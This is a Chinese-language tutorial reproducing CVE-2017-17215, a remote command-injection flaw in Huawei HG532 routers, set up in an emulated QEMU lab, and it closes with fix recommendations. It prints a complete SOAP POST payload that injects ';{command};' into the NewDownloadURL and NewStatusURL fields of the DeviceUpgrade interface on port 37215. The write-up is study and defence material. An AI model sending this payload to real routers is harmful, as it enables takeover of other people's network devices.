HG532RCE漏洞复现
字数 1453 2025-09-01 11:26:11
华为HG532路由器RCE漏洞复现与分析教学文档
1. 漏洞概述
华为HG532路由器存在一个远程代码执行(RCE)漏洞,编号为CVE-2017-17215。该漏洞存在于设备的UPnP(通用即插即用)服务中,具体是DeviceUpgrade SOAP接口处理不当,攻击者可以通过NewDownloadURL和NewStatusURL参数注入任意命令。
2. 漏洞背景
- 漏洞披露: Check Point Research
- 影响设备: 华为HG532系列路由器
- 漏洞类型: 远程代码执行
- CVSS评分: 9.8 (严重)
3. 环境准备
3.1 所需工具和镜像
- QEMU模拟器: 用于模拟MIPS架构环境
- Debian MIPS镜像:
- 内核:
vmlinux-2.6.32-5-4kc-malta - 镜像文件:
debian_squeeze_mips_standard.qcow2 - 下载地址: Debian QEMU镜像
- 内核:
3.2 网络配置
- 确保虚拟机和QEMU虚拟机之间可以互通
- 开启物理机转发功能以实现QEMU虚拟机的网络配置
- 修改
/etc/network/interfaces,将eth0改为实际网卡(通常是eth1) - 重启网络服务:
sudo /etc/init.d/networking restart
4. 常见问题解决
4.1 Binwalk报错
错误信息:
AttributeError: module 'capstone' has no attribute 'CS_ARCH_ARM64'
解决方案:
sudo pip3 uninstall capstone
4.2 SSH连接问题
错误信息:
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
原因: 远程主机的公钥发生了变化
解决方案:
ssh-keygen -R 192.168.xx.xxx
5. 漏洞分析
5.1 漏洞位置
漏洞存在于UPnP服务的DeviceUpgrade SOAP接口中,具体是NewDownloadURL和NewStatusURL参数未经过正确验证,导致命令注入。
5.2 UPnP协议简介
UPnP(通用即插即用)是一种网络协议,主要用于:
- 设备自动发现和配置网络服务
- 实现路由器、智能电视等IoT设备的无缝连接
- 简化设备联网过程,无需手动配置
5.3 漏洞触发点
- 通过IDA分析固件,搜索字符串
NewDownloadURL和NewStatusURL - 定位到关键函数,发现对输入标签的处理直接使用
system命令执行 - 攻击者可以通过
;{cmd};格式的命令拼接实现RCE
6. 漏洞复现步骤
6.1 准备固件环境
- 将
squashfs-root传入QEMU虚拟机:
scp -r ./squashfs-root root@192.168.xx.xxx:/root/
- 挂载必要的目录:
mount -t proc /proc ./squashfs-root/proc
mount -t devtmpfs /dev ./squashfs-root/dev
- 检查挂载是否成功:
mount
- 更换根目录以解决依赖库问题:
chroot ./squashfs-root /bin/sh
6.2 启动UPnP服务
- 查找服务端口:
grep -r '37215'
发现/bin/mic二进制文件使用该端口
- 启动服务:
/bin/mic
- 验证端口是否开放:
nc -vv 192.168.102.143 37215
6.3 构造攻击载荷
通过37215端口向/ctrlt/DeviceUpgrade_1地址发送精心构造的数据包:
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Host: 192.168.xx.xxx:37215
Content-Type: text/xml; charset=utf-8
SOAPAction: urn:DeviceConfig:1#DeviceUpgrade
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:DeviceUpgrade xmlns:u="urn:DeviceConfig:1">
<NewDownloadURL>;{command};</NewDownloadURL>
<NewStatusURL>;{command};</NewStatusURL>
</u:DeviceUpgrade>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
其中{command}替换为要执行的任意命令。
6.4 验证RCE
- 在运行
/bin/mic的终端中观察命令执行结果 - 可通过注入如
id、whoami等命令验证权限
7. 漏洞修复建议
- 对
NewDownloadURL和NewStatusURL参数进行严格验证 - 避免直接将用户输入传递给
system等危险函数 - 使用白名单机制限制允许的字符和格式
- 及时更新固件到最新版本
8. 参考资源
- [华为路由器漏洞CVE-2017-17215复现分析-先知社区]
- [华为HG532路由器RCE漏洞-先知社区]
- [SSH公钥变化问题解决-CSDN博客]